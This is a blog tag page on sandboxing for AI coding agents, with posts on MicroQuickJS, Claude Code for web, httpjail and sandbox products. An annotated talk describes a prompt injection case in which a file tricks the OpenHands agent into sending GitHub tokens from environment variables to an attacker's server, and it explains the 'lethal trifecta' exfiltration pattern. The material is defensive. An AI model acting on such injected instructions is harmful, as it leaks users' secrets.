6 years: Typing code by hand will go the way of punch cards ▶ 80:39

I think the job of being paid money to type code into a computer will go the same way as punching punch cards [...] in six years time, I do not think anyone will be paid to just to do the thing where you type the code. I think software engineering will still be an enormous career. I just think the software engineers won't be spending multiple hours of their day in a text editor typing out syntax.

The more time I spend on AI-assisted programming the less afraid I am for my job, because it turns out building software - especially at the rate it's now possible to build - still requires enormous skill, experience and depth of understanding.

The skills are changing though! Being able to read a detailed specification and transform it into lines of code is the thing that's being automated away. What's left is everything else, and the more time I spend working with coding agents the larger that "everything else" becomes.

Tags: predictions, sandboxing, ai, kakapo, generative-ai, llms, ai-assisted-programming, oxide, bryan-cantrill, coding-agents, jevons-paradox, conformance-suites, browser-challenge, deep-blue, november-2025-inflection

A field guide to sandboxes for AI

2026-01-06T22:38:00+00:00

A field guide to sandboxes for AI

This guide to the current sandboxing landscape by Luis Cardoso is comprehensive, dense and absolutely fantastic.

He starts by differentiating between containers (which share the host kernel), microVMs (their own guest kernel behind hardwae virtualization), gVisor userspace kernels and WebAssembly/isolates that constrain everything within a runtime.

The piece then dives deep into terminology, approaches and the landscape of existing tools.

I think using the right sandboxes to safely run untrusted code is one of the most important problems to solve in 2026. This guide is an invaluable starting point.

Via lobste.rs

Tags: sandboxing, ai, generative-ai, llms

MicroQuickJS

2025-12-23T20:53:40+00:00

MicroQuickJS

New project from programming legend Fabrice Bellard, of ffmpeg and QEMU and QuickJS and so much more fame:

MicroQuickJS (aka. MQuickJS) is a Javascript engine targetted at embedded systems. It compiles and runs Javascript programs with as low as 10 kB of RAM. The whole engine requires about 100 kB of ROM (ARM Thumb-2 code) including the C library. The speed is comparable to QuickJS.

It supports a subset of full JavaScript, though it looks like a rich and full-featured subset to me.

One of my ongoing interests is sandboxing: mechanisms for executing untrusted code - from end users or generated by LLMs - in an environment that restricts memory usage and applies a strict time limit and restricts file or network access. Could MicroQuickJS be useful in that context?

I fired up Claude Code for web (on my iPhone) and kicked off an asynchronous research project to see explore that question:

My full prompt is here. It started like this:

Clone https://github.com/bellard/mquickjs to /tmp

Investigate this code as the basis for a safe sandboxing environment for running untrusted code such that it cannot exhaust memory or CPU or access files or the network

First try building python bindings for this using FFI - write a script that builds these by checking out the code to /tmp and building against that, to avoid copying the C code in this repo permanently. Write and execute tests with pytest to exercise it as a sandbox

Then build a "real" Python extension not using FFI and experiment with that

Then try compiling the C to WebAssembly and exercising it via both node.js and Deno, with a similar suite of tests [...]

I later added to the interactive session:

Does it have a regex engine that might allow a resource exhaustion attack from an expensive regex?

(The answer was no - the regex engine calls the interrupt handler even during pathological expression backtracking, meaning that any configured time limit should still hold.)

Here's the full transcript and the final report.

Some key observations:

MicroQuickJS is very well suited to the sandbox problem. It has robust near and time limits baked in, it doesn't expose any dangerous primitive like filesystem of network access and even has a regular expression engine that protects against exhaustion attacks (provided you configure a time limit).
Claude span up and tested a Python library that calls a MicroQuickJS shared library (involving a little bit of extra C), a compiled a Python binding and a library that uses the original MicroQuickJS CLI tool. All of those approaches work well.
Compiling to WebAssembly was a little harder. It got a version working in Node.js and Deno and Pyodide, but the Python libraries wasmer and wasmtime proved harder, apparently because "mquickjs uses setjmp/longjmp for error handling". It managed to get to a working wasmtime version with a gross hack.

I'm really excited about this. MicroQuickJS is tiny, full featured, looks robust and comes from excellent pedigree. I think this makes for a very solid new entrant in the quest for a robust sandbox.

Update: I had Claude Code build tools.simonwillison.net/microquickjs, an interactive web playground for trying out the WebAssembly build of MicroQuickJS, adapted from my previous QuickJS plaground. My QuickJS page loads 2.28 MB (675 KB transferred). The MicroQuickJS one loads 303 KB (120 KB transferred).

Here are the prompts I used for that.

Tags: c, javascript, nodejs, python, regular-expressions, sandboxing, ai, webassembly, deno, pyodide, generative-ai, llms, claude-code, fabrice-bellard

Living dangerously with Claude

2025-10-22T12:20:09+00:00

I gave a talk last night at Claude Code Anonymous in San Francisco, the unofficial meetup for coding agent enthusiasts. I decided to talk about a dichotomy I've been struggling with recently. On the one hand I'm getting enormous value from running coding agents with as few restrictions as possible. On the other hand I'm deeply concerned by the risks that accompany that freedom.

Below is a copy of my slides, plus additional notes and links as an annotated presentation.

I'm going to be talking about two things this evening...

Why you should always use --dangerously-skip-permissions. (This got a cheer from the room full of Claude Code enthusiasts.)

And why you should never use --dangerously-skip-permissions. (This did not get a cheer.)

--dangerously-skip-permissions is a bit of a mouthful, so I'm going to use its better name, "YOLO mode", for the rest of this presentation.

Claude Code running in this mode genuinely feels like a completely different product from regular, default Claude Code.

The default mode requires you to pay constant attention to it, tracking everything it does and actively approving changes and actions every few steps.

In YOLO mode you can leave Claude alone to solve all manner of hairy problems while you go and do something else entirely.

I have a suspicion that many people who don't appreciate the value of coding agents have never experienced YOLO mode in all of its glory.

I'll show you three projects I completed with YOLO mode in just the past 48 hours.

I wrote about this one at length in Getting DeepSeek-OCR working on an NVIDIA Spark via brute force using Claude Code.

I wanted to try the newly released DeepSeek-OCR model on an NVIDIA Spark, but doing so requires figuring out how to run a model using PyTorch and CUDA, which is never easy and is a whole lot harder on an ARM64 device.

I SSHd into the Spark, started a fresh Docker container and told Claude Code to figure it out. It took 40 minutes and three additional prompts but it solved the problem, and I got to have breakfast and tinker with some other projects while it was working.

This project started out in Claude Code for the web. I'm eternally interested in options for running server-side Python code inside a WebAssembly sandbox, for all kinds of reasons. I decided to see if the Claude iPhone app could launch a task to figure it out.

I wanted to see how hard it was to do that using Pyodide running directly in Node.js.

Claude Code got it working and built and tested this demo script showing how to do it.

I started a new simonw/research repository to store the results of these experiments, each one in a separate folder. It's up to 5 completed research projects already and I created it less than 2 days ago.

Here's my favorite, a project from just this morning.

I decided I wanted to try out SLOCCount, a 2001-era Perl tool for counting lines of code and estimating the cost to develop them using 2001 USA developer salaries.

.. but I didn't want to run Perl, so I decided to have Claude Code (for web, and later on my laptop) try and figure out how to run Perl scripts in WebAssembly.

TLDR: it got there in the end! It turned out some of the supporting scripts in SLOCCount were written in C, so it had to compile those to WebAssembly as well.

And now tools.simonwillison.net/sloccount is a browser-based app which runs 25-year-old Perl+C in WebAssembly against pasted code, GitHub repository references and even zip files full of code.

The wild thing is that all three of these projects weren't even a priority for me - they were side quests, representing pure curiosity that I could outsource to Claude Code and solve in the background while I was occupied with something else.

I got a lot of useful work done in parallel to these three flights of fancy.

But there's a reason --dangerously-skip-permissions has that scary name. It's dangerous to use Claude Code (and other coding agents) in this way!

The reason for this is prompt injection, a term I coined three years ago to describe a class of attacks against LLMs that take advantage of the way untrusted content is concatenated together with trusted instructions.

(It's named after SQL injection which shares a similar shape.)

This remains an incredibly common vulnerability.

Here's a great example of a prompt injection attack against a coding agent, described by Johann Rehberger as part of his Month of AI Bugs, sharing a new prompt injection report every day for the month of August.

If a coding agent - in this case OpenHands - reads this env.html file it can be tricked into grepping the available environment variables for hp_ (matching GitHub Personal Access Tokens) and sending that to the attacker's external server for "help debugging these variables".

I coined another term to try and describe a common subset of prompt injection attacks: the lethal trifecta.

Any time an LLM system combines access to private data with exposure to untrusted content and the ability to externally communicate, there's an opportunity for attackers to trick the system into leaking that private data back to them.

These attacks are incredibly common. If you're running YOLO coding agents with access to private source code or secrets (like API keys in environment variables) you need to be concerned about the potential of these attacks.

This is the fundamental rule of prompt injection: anyone who can get their tokens into your context should be considered to have full control over what your agent does next, including the tools that it calls.

Some people will try to convince you that prompt injection attacks can be solved using more AI to detect the attacks. This does not work 100% reliably, which means it's not a useful security defense at all.

The only solution that's credible is to run coding agents in a sandbox.

The best sandboxes are the ones that run on someone else's computer! That way the worst that can happen is someone else's computer getting owned.

You still need to worry about your source code getting leaked. Most of my stuff is open source anyway, and a lot of the code I have agents working on is research code with no proprietary secrets.

If your code really is sensitive you need to consider network restrictions more carefully, as discussed in a few slides.

There are lots of great sandboxes that run on other people's computers. OpenAI Codex Cloud, Claude Code for the web, Gemini Jules are all excellent solutions for this.

I also really like the code interpreter features baked into the ChatGPT and Claude consumer apps.

There are two problems to consider with sandboxing.

The first is easy: you need to control what files can be read and written on the filesystem.

The second is much harder: controlling the network connections that can be made by code running inside the agent.

The reason network access is so important is that it represents the data exfiltration leg of the lethal trifecta. If you can prevent external communication back to an attacker they can't steal your private information, even if they manage to sneak in their own malicious instructions.

Claude Code CLI grew a new sandboxing feature just yesterday, and Anthropic released an a new open source library showing how it works.

The key to the implementation - at least on macOS - is Apple's little known but powerful sandbox-exec command.

This provides a way to run any command in a sandbox configured by a policy document.

Those policies can control which files are visible but can also allow-list network connections. Anthropic run an HTTP proxy and allow the Claude Code environment to talk to that, then use the proxy to control which domains it can communicate with.

(I used Claude itself to synthesize this example from Anthropic's codebase.)

... the bad news is that sandbox-exec has been marked as deprecated in Apple's documentation since at least 2017!

It's used by Codex CLI too, and is still the most convenient way to run a sandbox on a Mac. I'm hoping Apple will reconsider.

So go forth and live dangerously!

(But do it in a sandbox.)

Tags: sandboxing, security, my-talks, ai, webassembly, prompt-injection, generative-ai, llms, anthropic, claude, annotated-talks, ai-agents, coding-agents, claude-code, lethal-trifecta, async-coding-agents

Claude Code for web - a new asynchronous coding agent from Anthropic

2025-10-20T19:43:15+00:00

Anthropic launched Claude Code for web this morning. It's an asynchronous coding agent - their answer to OpenAI's Codex Cloud and Google's Jules, and has a very similar shape. I had preview access over the weekend and I've already seen some very promising results from it.

It's available online at claude.ai/code and shows up as a tab in the Claude iPhone app as well:

As far as I can tell it's their latest Claude Code CLI app wrapped in a container (Anthropic are getting really good at containers these days) and configured to --dangerously-skip-permissions. It appears to behave exactly the same as the CLI tool, and includes a neat "teleport" feature which can copy both the chat transcript and the edited files down to your local Claude Code CLI tool if you want to take over locally.

It's very straight-forward to use. You point Claude Code for web at a GitHub repository, select an environment (fully locked down, restricted to an allow-list of domains or configured to access domains of your choosing, including "*" for everything) and kick it off with a prompt.

While it's running you can send it additional prompts which are queued up and executed after it completes its current step.

Once it's done it opens a branch on your repo with its work and can optionally open a pull request.

Putting Claude Code for web to work

Claude Code for web's PRs are indistinguishable from Claude Code CLI's, so Anthropic told me it was OK to submit those against public repos even during the private preview. Here are some examples from this weekend:

Add query-string-stripper.html tool against my simonw/tools repo - a very simple task that creates (and deployed via GitHub Pages) this query-string-stripper tool.
minijinja vs jinja2 Performance Benchmark - I ran this against a private repo and then copied the results here, so no PR. Here's the prompt I used.
Update deepseek-ocr README to reflect successful project completion - I noticed that the README produced by Claude Code CLI for this project was misleadingly out of date, so I had Claude Code for web fix the problem.

That second example is the most interesting. I saw a tweet from Armin about his MiniJinja Rust template language adding support for Python 3.14 free threading. I hadn't realized that project had Python bindings, so I decided it would be interesting to see a quick performance comparison between MiniJinja and Jinja2.

I ran Claude Code for web against a private repository with a completely open environment (* in the allow-list) and prompted:

I’m interested in benchmarking the Python bindings for https://github.com/mitsuhiko/minijinja against the equivalente template using Python jinja2

Design and implement a benchmark for this. It should use the latest main checkout of minijinja and the latest stable release of jinja2. The benchmark should use the uv version of Python 3.14 and should test both the regular 3.14 and the 3.14t free threaded version - so four scenarios total

The benchmark should run against a reasonably complicated example of a template, using template inheritance and loops and such like In the PR include a shell script to run the entire benchmark, plus benchmark implantation, plus markdown file describing the benchmark and the results in detail, plus some illustrative charts created using matplotlib

I entered this into the Claude iPhone app on my mobile keyboard, hence the typos.

It churned away for a few minutes and gave me exactly what I asked for. Here's one of the four charts it created:

(I was surprised to see MiniJinja out-performed by Jinja2, but I guess Jinja2 has had a decade of clever performance optimizations and doesn't need to deal with any extra overhead of calling out to Rust.)

Note that I would likely have got the exact same result running this prompt against Claude CLI on my laptop. The benefit of Claude Code for web is entirely in its convenience as a way of running these tasks in a hosted container managed by Anthropic, with a pleasant web and mobile UI layered over the top.

Anthropic are framing this as part of their sandboxing strategy

It's interesting how Anthropic chose to announce this new feature: the product launch is buried half way down their new engineering blog post Beyond permission prompts: making Claude Code more secure and autonomous, which starts like this:

Claude Code's new sandboxing features, a bash tool and Claude Code on the web, reduce permission prompts and increase user safety by enabling two boundaries: filesystem and network isolation.

I'm very excited to hear that Claude Code CLI is taking sandboxing more seriously. I've not yet dug into the details of that - it looks like it's using seatbelt on macOS and Bubblewrap on Linux.

Anthropic released a new open source (Apache 2) library, anthropic-experimental/sandbox-runtime, with their implementation of this so far.

Filesystem sandboxing is relatively easy. The harder problem is network isolation, which they describe like this:

Network isolation, by only allowing internet access through a unix domain socket connected to a proxy server running outside the sandbox. This proxy server enforces restrictions on the domains that a process can connect to, and handles user confirmation for newly requested domains. And if you’d like further-increased security, we also support customizing this proxy to enforce arbitrary rules on outgoing traffic.

This is crucial to protecting against both prompt injection and lethal trifecta attacks. The best way to prevent lethal trifecta attacks is to cut off one of the three legs, and network isolation is how you remove the data exfiltration leg that allows successful attackers to steal your data.

If you run Claude Code for web in "No network access" mode you have nothing to worry about.

I'm a little bit nervous about their "Trusted network access" environment. It's intended to only allow access to domains relating to dependency installation, but the default domain list has dozens of entries which makes me nervous about unintended exfiltration vectors sneaking through.

You can also configure a custom environment with your own allow-list. I have one called "Everything" which allow-lists "*", because for projects like my MiniJinja/Jinja2 comparison above there are no secrets or source code involved that need protecting.

I see Anthropic's focus on sandboxes as an acknowledgment that coding agents run in YOLO mode (--dangerously-skip-permissions and the like) are enormously more valuable and productive than agents where you have to approve their every step.

The challenge is making it convenient and easy to run them safely. This kind of sandboxing kind is the only approach to safety that feels credible to me.

Update: A note on cost: I'm currently using a Claude "Max" plan that Anthropic gave me in order to test some of their features, so I don't have a good feeling for how Claude Code would cost for these kinds of projects.

From running npx ccusage@latest (an unofficial cost estimate tool) it looks like I'm using between $1 and $5 worth of daily Claude CLI invocations at the moment.

Tags: armin-ronacher, jinja, sandboxing, security, ai, prompt-injection, generative-ai, llms, anthropic, claude, coding-agents, claude-code, lethal-trifecta, async-coding-agents, disclosures

httpjail

2025-09-19T21:57:29+00:00

httpjail

Here's a promising new (experimental) project in the sandboxing space from Ammar Bandukwala at Coder. httpjail provides a Rust CLI tool for running an individual process against a custom configured HTTP proxy.

The initial goal is to help run coding agents like Claude Code and Codex CLI with extra rules governing how they interact with outside services. From Ammar's blog post that introduces the new tool, Fine-grained HTTP filtering for Claude Code:

httpjail implements an HTTP(S) interceptor alongside process-level network isolation. Under default configuration, all DNS (udp:53) is permitted and all other non-HTTP(S) traffic is blocked.

httpjail rules are either JavaScript expressions or custom programs. This approach makes them far more flexible than traditional rule-oriented firewalls and avoids the learning curve of a DSL.

Block all HTTP requests other than the LLM API traffic itself:
$ httpjail --js "r.host === 'api.anthropic.com'" -- claude "build something great"

I tried it out using OpenAI's Codex CLI instead and found this recipe worked:

brew upgrade rust
cargo install httpjail # Drops it in `~/.cargo/bin`
httpjail --js "r.host === 'chatgpt.com'" -- codex

Within that Codex instance the model ran fine but any attempts to access other URLs (e.g. telling it "Use curl to fetch simonwillison.net)" failed at the proxy layer.

This is still at a really early stage but there's a lot I like about this project. Being able to use JavaScript to filter requests via the --js option is neat (it's using V8 under the hood), and there's also a --sh shellscript option which instead runs a shell program passing environment variables that can be used to determine if the request should be allowed.

At a basic level it works by running a proxy server and setting HTTP_PROXY and HTTPS_PROXY environment variables so well-behaving software knows how to route requests.

It can also add a bunch of other layers. On Linux it sets up nftables rules to explicitly deny additional network access. There's also a --docker-run option which can launch a Docker container with the specified image but first locks that container down to only have network access to the httpjail proxy server.

It can intercept, filter and log HTTPS requests too by generating its own certificate and making that available to the underlying process.

I'm always interested in new approaches to sandboxing, and fine-grained network access is a particularly tricky problem to solve. This looks like a very promising step in that direction - I'm looking forward to seeing how this project continues to evolve.

Via Fine-grained HTTP filtering for Claude Code

Tags: http, javascript, proxies, sandboxing, security, v8, rust, claude-code, codex

Sandboxed tools in a loop

2025-07-03T14:28:56+00:00

Something I've realized about LLM tool use is that it means that if you can reduce a problem to something that can be solved by an LLM in a sandbox using tools in a loop, you can brute force that problem.

The challenge then becomes identifying those problems and figuring out how to configure a sandbox for them, what tools to provide and how to define the success criteria for the model.

That still takes significant skill and experience, but it's at a higher level than chewing through that problem using trial and error by hand.

My x86 assembly experiment with Claude Code was the thing that made this click for me.

Tags: sandboxing, ai, generative-ai, llms, ai-assisted-programming, llm-tool-use, claude-code

New sandboxes from Cloudflare and Vercel

2025-06-26T01:41:32+00:00

Two interesting new products for running code in a sandbox today.

Cloudflare launched their Containers product in open beta, and added a new Sandbox library for Cloudflare Workers that can run commands in a "secure, container-based environment":

import { getSandbox } from "@cloudflare/sandbox";
const sandbox = getSandbox(env.Sandbox, "my-sandbox");
const output = sandbox.exec("ls", ["-la"]);

Vercel shipped a similar feature, introduced in Run untrusted code with Vercel Sandbox, which enables code that looks like this:

import { Sandbox } from "@vercel/sandbox";

const sandbox = await Sandbox.create();
await sandbox.writeFiles([
    { path: "script.js", stream: Buffer.from(result.text) },
  ]);
await sandbox.runCommand({
    cmd: "node",
    args: ["script.js"],
    stdout: process.stdout,
    stderr: process.stderr,
});

In both cases a major intended use-case is safely executing code that has been created by an LLM.

Tags: sandboxing, ai, cloudflare, generative-ai, llms, vercel

Simon Willison's Weblog: sandboxing

Datasette Apps: Host custom HTML applications inside Datasette

The TL;DR

Why build this?

Neat ideas in Datasette Apps

<iframe sandbox="allow-scripts" srcdoc="..."> + <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src data: blob:;">

Locked down APIs with postMessage() and MessageChannel()

Visible logs, for queries and errors

Stored queries for write operations

Copy and paste a prompt to build an app

Built with so much AI assistance

It's looking good so far

Publishing WASM wheels to PyPI for use with Pyodide

Trying it out with luau-wasm

How many packages are using this so far?

micropython-wasm 0.1a2

Running Python code in a sandbox with MicroPython and WASM

Why do I want a sandbox?

What I want from a sandbox

WebAssembly looks really promising here

MicroPython in WebAssembly

Building the first version

Try it yourself

Should you trust my vibe-coded sandbox?

datasette-agent-micropython 0.1a0

micropython-wasm 0.1a1

micropython-wasm 0.1a0

How we contain Claude across products

pydantic-monty investigation

datasette-agent-sprites 0.1a0

Can JavaScript Escape a CSP Meta Tag Inside an Iframe?

JavaScript Sandboxing Research

Snowflake Cortex AI Escapes Sandbox and Executes Malware

Luau WebAssembly: Browser Playground + Python wasmtime

Running Pydantic's Monty Rust sandboxed Python subset in WebAssembly

Introducing Deno Sandbox

Introducing the Codex app

ChatGPT Containers can now run bash, pip/npm install packages, and download files

container.download

What it does

Signature (inputs)

Is container.download a data exfiltration vulnerability?

Bash and other languages

Installing packages from pip and npm

Adding it all together

Update: a full list of tools

python

python.exec (FREEFORM) → any

web

web.run (ToolCallV5 JSON) → any

automations

automations.create → any

automations.update → any

automations.list → any

guardian_tool

guardian_tool.get_policy → str

file_search

file_search.msearch → any

file_search.mclick → any

gmail (read-only)

gmail.search_email_ids → any

gmail.batch_read_email → any

gcal (read-only)

gcal.search_events → any

gcal.read_event → any

gcontacts (read-only)

gcontacts.search_contacts → any

canmore (canvas)

canmore.create_textdoc → any

canmore.update_textdoc → any

canmore.comment_textdoc → any

python_user_visible

python_user_visible.exec (FREEFORM) → any

user_info

user_info.get_user_info → any

summary_reader

summary_reader.read → any

container

container.exec → any

container.feed_chars → any

`<iframe sandbox="allow-scripts" srcdoc="...">` + `<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src data: blob:;">`

Locked down APIs with `postMessage()` and `MessageChannel()`

`python.exec` (FREEFORM) → any

`web.run` (ToolCallV5 JSON) → any

`automations.create` → any

`automations.update` → any

`automations.list` → any

`guardian_tool.get_policy` → str

`file_search.msearch` → any

`file_search.mclick` → any

`gmail.search_email_ids` → any

`gmail.batch_read_email` → any

`gcal.search_events` → any

`gcal.read_event` → any

`gcontacts.search_contacts` → any

`canmore.create_textdoc` → any

`canmore.update_textdoc` → any

`canmore.comment_textdoc` → any

`python_user_visible.exec` (FREEFORM) → any

`user_info.get_user_info` → any

`summary_reader.read` → any

`container.exec` → any

`container.feed_chars` → any

`container.open_image` → any

`container.download` → any

`bio.update` (FREEFORM) → any

`api_tool.list_resources` → any

`api_tool.call_tool` → any

`personal_context.search` → any

`image_gen.text2im` → any

`user_settings.get_user_settings` → any

`user_settings.set_setting` → any

`artifact_handoff.prepare_artifact_generation` → any